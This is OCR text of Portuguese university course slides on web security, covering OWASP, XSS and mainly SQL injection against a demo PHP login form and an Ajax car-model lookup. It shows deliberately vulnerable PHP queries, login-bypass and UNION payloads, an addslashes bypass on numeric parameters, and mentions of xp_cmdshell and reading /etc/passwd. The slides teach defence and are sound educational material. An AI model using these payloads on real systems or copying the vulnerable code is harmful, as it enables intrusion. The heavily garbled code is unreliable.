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AVISO

ATENCAO

O instrutor do curso (Maycon Maia Vitali) tdo pouco o Centro
Universitario Vila Velha nédo se responsabilizam pela ma utilizacao das
informacgdes fornecidas neste curso.

O Curso de Extensao Tecnoldgicaem Seguranca Web tem a unica
finalidade de formar profissionais aptos a desenvolver um ambiente Web
seguro, protegendo-o de ataques gque porventura viriam acontecer.

Qualquer ato ilicito ou ilegal acarretado devido a ma utilizacéo das
informacgdes apresentadas no curso serao de inteira responsabilidade do
autor, estando o mesmo completamente sujeito as mais severas
penalidades cabiveis pelalei.
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OWASP

A Open Web Application Security Project;

A Miss&o: Tornar visivel riscos de seguranca que uma
aplicacao pode sofrer;

A Documentos sobre licenca SL;

A Codigo de ética definido
I Em conformidade com as leis aplicaveis,
I Manter a confidencialidade adequada,
I Diligéncia e honestidade, etc
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Seqguranca da Informacao

A Vertentes
I Confidencialidade
I Disponibilidade
I Integridade
I Nao repudio
I Autenticidade

A Divisdo: Fisica vs Logica
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Segurancaem Web

A Caracteristicas de Sistemas Web

I Mundialmente acessivel
I Sem seguranca (on the wild)

A Origem e motivacdo dos ataques web

A Black List vs W hite List

Al |l input is evilauntil
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Meios de Atague

A Entradas visiveis de facil manipulacio

A Entradas de manipulacdo com grau de
dificuldade intermediario

A Entradas de dificil manipulaco
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Cross Site Scripting

A Ocorréncia vs Impacto
A Principios basicos

I ldentificacao, possibilidades, expansao (worms)
A Exemplos praticos:

I Retorno de variaveis
I Armazenamento e Recuperacao de Dados
I Defacement (desfiguracao)

o o
A Método de defesa
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SQL Injection

Baseado na palestrade Ataques Web ministrada no

T4

Centro Universitario Vila Velha




Definicao

A Toda entrada é mal intencionada:

A Ocorre quando é possivel inserir (injetar)
codigo SQL em uma aplicacao;

A Dependendo do banco existem facilidades
ou limitacoes.
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Possibilidades

A Ler dados do banco de dados:
T select

A Alterar dados do banco de dados:
I update, delete e insert

A Executar comandos administrativos:
T shutdown
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SQL Injection vs XSS

A SQL Injection
I Médiaocorréncia
I Altoimpacto
I Cross Plataform (?)

A Cross-Site-Script

I Altaocorréncia
I Meédio/baixo impacto
I Cross Plataform (?)
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Possibilidades

A Acesso ao Sistema Operacional:
i xXp.dbo.cmd_shell { M$ Sql Server}

A Acesso a arquivos
I load_file( étd/passwdd IMySQL}
I BulkInsert{ SQL Server}




Script Kiddie vs Pen-Tester

A Ataques planejados aonde menos se
esperam

A Ferramentas automatisadoras sao
Ineficazes




Impacto
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ldentificando a Falha

A Campos manipulaveis passados diretamente
para comandos SQL.:

i $ GET
i $ POST
I Cookie
I Banco

I etc
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Exploracao

A Alteracio da l6gica do comando SQL
i 6oro6 0 =0

A Inclusdo de registro manual
i unionselectl , 2usuard®g, 60 hacker

A Inclusdo de subqueries
I union select ...
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Dificuldades Comuns

A Saida de contexto
| Parénteses
I Nao estar em um where (paginacao ?)

A Demarcacéo de comentarios
I Injection no final da instrucao ou no meio ?

I Diferente em alguns bancos de dados
A--, I**, %00
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SQL Injection

Primeiro Exemplo

Formulario de Acesso
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Formulario de Login

Arquivo: frmlogin.html

1 <htmlx>

2 <head>

3 <title>Portal Web</title

4 </heads>

5

a <body>

T "post™ "logindl.php”

8 <table>

g <L

10 <td colspan="2" align="center">Efetue Login</td>
11 </t

12 <tr>

13 <td>Usuarics/ td>

14 <tdx> "text” "txtUsuaric™ </ td>
15 </tr>

16 “Etr>

17 <td>3enha</td>

18 “td> "password” "txtUsuaric” </td>
19 </tr>
20 <Er>
21 <td colapan="2" align="right">
22 "submit"™ "Entrar"
23 </ td>
24 </tr>
25 </tablex
26
27 </body>
28 </html>
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Arquivo que Recebe os Dados

Arquivo: login01.php

1 < ?php

2 include "inc/acesso_bd.php”:

3

4

5 if (!isset(s_POST['txtUsuario']) || !isset(s_POST['txtSenha']))
& {

7 die ("<b>Preenchas o=z cempos corretamente.</b:");

g8 i

9

10 gtatUsuaric = § POST['txtUsuario']:

11 ttxtSenha = §_POST["txtSenha']:;

12

13 £3teSQL = "

14 SELECT id,nome,usuaric, senha

15 FRCM tblUsuarics

1la WHERE usuario="'{ftxtUsuariac}’

17 AND senhe='{$%txtSenha}l’

138 " . .
19 SQL Injection
20

21 fobjConexac = bd conecta():

22

23 if ($#cbjResult = bd executa($3tr3{L, $objConexaco))

24 {

25

26 if ($ckjRegistro = bd_pegaRegistro($objResult))

27 {

28 echo "Usudric " . $objRegistro['nome'] . " logado com sucesac!.”™;
29 }

30 else

3 {

32 echo "Usudric ou senhs invalidos.™;

33 }

34 1

35 g
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Metodo de Ataque

AUs us8r brd 6= 0966
ASenhaoré&od 96

1 SELECT id, usuaric, senhs

Z FROM tbklUsuarios

3 WHERE usuaric='"[" or ''="|'
4 AND senhae='" or ''="|"

A Usuario=vazio OU vazio=vazio (true)
A Senha=vazio OU vazio=vazio (true)

@ e,




Primeira Protecao Ineficaz

A Limitar o nimero de registros

23 if ($okjResult = bd executa($3trSQL, fobjlonexac))
24 [

25

28 if {bkd_gtdeRegistros ($ocbjBesult) == 1)

27 {

28 sobjRegistro = bd _pegaRegistro($ckjResult);
29 echo "Usuigrioc " . $objRegistro['nome'] . " logado com sucessao!.™:
30 }

31 glae

32 {

33 echo "Usuidrioc ou 3senha invalidos.™;

34 }

35 1




Primeira Protecao Ineficaz

Atague: Limitando os Registro
A Basta limitar o niimero de registros

1 SELECT id, nome, usuaric, senhsa
Z FROM tklUsuarios

2 WHEEE usuarioc="|" or ''="|
4 ANDO senhe='"" or "'="" LIMIT 1 -—-— |




Primeira Protecao Ineficaz

Ataque: Usuario Especifico

1 SELECT id, nome usuario, senhs
£ FROM tklUsuarios

2 WHERE usuarico="maycon' /'
s

TTH o s g B o e P o
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Segunda Protecao Ineficaz

23 if (f#objBesult = bd executsa ($3tr3QL, Fobjlonexao))
24 {

25

26 if (sobjBegistro = kd pegaBegistro(SobjResult))
27 {

28

29 if (fockjBRegistro['senha'] == ftxtienha)

30 {

31 echo "Usudric ™ . ScbjBegistro['nome'] . " logedo com sucesso!.”;
32 }

33 glae

34 {

35 echo "Senha invalids.":

1) }

37 }

38 glae

39 {

40 echo "Usuadrio invalido.™:

41 }

42 1

A Como explorar?
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Segunda Protecao Ineficaz

Atague: Senhas comuns

1l SELECT i1id, nome usuario, senhsa
Z FROM tbklUsuarios

2 WHERE usuarioc="|" cr "''="'
2 AND senhae="1lz3454g]




Segunda Protecao Ineficaz

Insercao de Registro Manual

1l SELECT id, nome usuaric, senha

3 WHERE ususric='|" UNION SELECT 1, "hacker', "login’, 'p*/ — |




Segunda Protecao Ineficaz

Protecao Eficiente (?)
A addslashes()

10 stxtUsuarioc = & POST['txtUsuaric'];

11 ftxtSenha = & POST['txt3enha’];

12

13 s3tr3QL = "

14 SELECT id,nome,usuarico, senha

15 FEOM tblUsuarios

la WHEEE usuario="'"" . &addslashes({stxtUsuaric) . ™'
17 AND zenha="" . addslashes($txtSenha) . "

18 i

e

1l S5ELECT id,nome, usuasrioc,senha

el FROM tklUsuarios

3 WHEEBEE usuario="%"' UNION SELECT 1,%'hackerh' % 'loginmi ', W'*, —— W' =+
4 AND senhe='*/ —— '

U




SQL Injection

Segundo Exemplo

Variaveis Numericas + Ajax
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1 <html>
2 <head>
3 <title>Exenplc de SQL Injection</title>
4 <gcript language="javascript”™ srec="ja/funcoces.ja">
5 </script>
& </head>
7
Fa] <body>
2] <table>
10 “<tr>
11 <tdxAno:</td>
12 <tdz>
13 "aelknolarro™ "width:100px
14
15 </ td>
la </tr>
17 <Er>
18 <Er>
15 <td>Modelo:</td>
20 <td>
21 "selModeloCarro™ "width:300px
22
23 </ td>
24 </try
25 </table>
26
27 <script language="]Jjavascript">
28 £ = fManction{id) { return dcocument.getElementById{id); }
29
30 Preenche a listagem de modelos de acordo com o anc escolhido
3l 5('selinclarrc') .onchange = function ()
32 {
33 carregadelect (
34 £ ("selModelcCarre'),
35 "busceMocdelo.php?anc=" + this.value
36 ):
37 }
38
39 carregaSelect (s {'selknolarre'), "buscalno.php"):
40 </fscript>
41 </body>

S 12 </htols -~



Ferramentas Auxiliares

A FireBug

recomendado
# Firebug

por Joe Hewitt, Rob Campbell

=div class="blogPost">
<div class="imageHeade:

«<div style="float: rigt .
Y d *h X XN revisies 210165 downloads semanais

<p class="lead"> Fireb :
Desenvolvimento web

<p>FireBug is fairly s _ _ o
Firebug integrates with Firefox to put a wealth of development tools at

yvour fingertips while you browse. You can edit, debug, and monitor CS5,
HTML, and JavaScript live in any web page... Firebug 1.4b1 requires

Firefox 3.5b4 or higher.

<Ul=>
<h? lewvel="2"=>0ther Fu
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FireBug

Utilizacao

-
- " " L) '
3 Exemplo de S0L Injection - Mozilla Firefox g@
Arquiva Editar Exibir Histdrico Faworitos Ferramentas  Ajuda
@ - - ot | | | http:/flocalhost/AtaquesiWeb/sgl_injection. himl 77 - Gl o
@ Disable = & Cookies = | ] €55+ [ | Forms = (| Images - @ Information ~ [} Miscellaneous ~ " Outline ~ ¥ : Resize - _}b Tools ~ @ View Sourc
Ano: | 1952 M
Modelo: i Ferrari 250 S Vignale Coupe fv |
é: Inspedonar  Limpar |T|_||:||:| | HTML CS5 15 XHR Imagens Flash = | & 8
Console HTML (55 Script DOM | Rede~ =
+ GET buscaAno.php 200 0K localhost 220 B 55m|5
+ http://localhost/AtaguesWeb/buscalModelo.php?ano=1952 12ms
2 solicitacoes 252 B &67ms
Conduido é: 8 @

W




Arquivos de Consulta por Ajax

Arquivo buscaModelo.php

1 <?
2 include "inc/acesso bd.php";
3
4 finthno = § GET['ano']:
2
L] £3trSQL = "
T SELECT id, strModelo
g oM tblCarros
9 WHERE intino = {[#inthAno}
10 "y
11
12 sobjConexac = bd_conecta();
13 if (%objBResult = bd_executa (f3tr3(L, %objConexao))
14 {
15 while (%objRegistro = bd pegaRegistro(fobjResult))
16 {
17 echo SobjRegistro['id'] . "A“t" . SobjRegistro['strModelo'] . "\no":
18 }
139 }
20 e
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Problemas com addslashes()

A S6 aplica escape em aspas simples,
aspas duplas e caractere nulo.

A Ineficaz em ataques a varidveis numéricas
onde nao existe a delimitacao por aspas
no comando SQL.
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ldentificacao da Vulnerabilidade

-
& Mozilla Firefox
Arquiva  Editar Exibir Historico Favoritos Ferramentas  Ajuda
@ A c (ot I: |j |htq:u:,.’,.'1u:u|:alhust,."#.taques'nﬁfeb,'buscaMUdeln.php?anu=1953-1 b
) Miscellaneous ~ o/ Outline ~ |

(@ Disable ~ £ Cookies ~ [ €55~ =] Forms = (] Images - @ Information -

2 Ferrari 250 5 Vignale Coupe
& Mozilla Firefox

Exihir  Historico  Favoritos

Concluido

Ferramentas  Ajuda

Arguivo  Editar
3

@ - c (mi I |j |htq:u:,.’,.'1u:ucaIh0stf.ﬂ.taques\ﬁfeb,‘buscaMDdelu.php?anu=39tl4f2

(&) Disable ~ 2 Cookies = [ €55~ [ Forms ~ (] Images - @ Information ~ £ Miscellaneous ~ - Outline ~ |

2 Ferrari 250 5 Vignale Coupe

Conduid -
it & Mozilla Firefox

Exibir  Historico  Faworitos
(g I: |j |htn::,",."IDcaIh0st,.’.ﬂ\taqueslﬁn'eh,fhuscal"«"lodelo.php?an0=sqrt(38103[!4}

) Miscellaneous + " Outline + |

Eerramentas  Ajuda

Arquivo  Editar
i

O -c

i3 Disable =~ [ Cookies = [ C55 ~ -] Forms = [H] Images ~ @ Information -

2 Ferrari 250 S Vignale Coupe

Concluido
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INFORMATION_SCHEMA

your friend for all time




